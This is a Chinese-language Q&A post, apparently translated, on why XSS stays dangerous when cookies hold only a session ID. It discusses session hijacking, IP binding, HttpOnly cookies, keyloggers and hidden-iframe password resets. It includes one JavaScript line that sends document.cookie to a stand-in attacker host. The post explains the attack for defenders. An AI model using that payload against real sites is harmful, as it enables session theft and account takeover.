即使 cookie 不存储用户凭据,XSS 是否危险?



每当有人谈到xss的危险时,他们都会提到"坏人"可以访问用户凭证。但是,如果我只在cookie上存储会话id,并基于会话id对用户进行身份验证,那么xss是否还有其他方法可以用来访问用户凭据呢?

可以。

XSS表示页面上正在运行外部脚本或恶意脚本。这有很多危险的地方。

会话劫持

即使cookie不存储用户凭据(它不应该)。它存储了足够的信息,使服务器认为cookie的持有者是一个特定的用户(HTTP是无状态的,所以我们使用cookie/会话来记住用户)。

所以如果有人偷了会话ID,他们可以用它来冒充你,服务器可能不知道。

使用IP进行保护

在你最初的问题中,你问了另一个安全级别:验证绑定到会话的IP地址。是的,这切断了攻击途径。是的,IP地址可以伪造。但你不再是攻击者最容易摘到的果子了。同时,安全性和便利性是对立的,所以当你的合法用户的IP地址改变时,他们可能会感到沮丧,他们不再登录。

其他攻击

窃取cookie/会话是获得访问权限的一种简单方法,但不是唯一的方法。

由于脚本运行(假设)从可信站点和用户的浏览器。它可以做很多事情:

  • 为帐户编辑页面加载一个不可见的iframe并重置用户的密码/电子邮件
  • 加载键盘记录程序,向用户显示登录页面

除非会话ID cookie被标记为HTTP Only,否则会话仍然可以被XSS劫持。

new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);

将会话ID发送到攻击者域(www.example.com),在那里他们将能够将自己的cookie设置为相同的会话ID并窃取会话。

即使没有cookie风险,由于攻击者可以将他们喜欢的任何东西注入页面,他们可以更改任何页面内容或在浏览器会话中安装密钥记录程序。

我最近参加了一个演讲,该演讲描述了欺骗密码管理器填写密码表单的方法,前提是攻击者可以使用XSS修改受害者站点上的页面。这是攻击者能够访问用户凭据的一种方法。

最新更新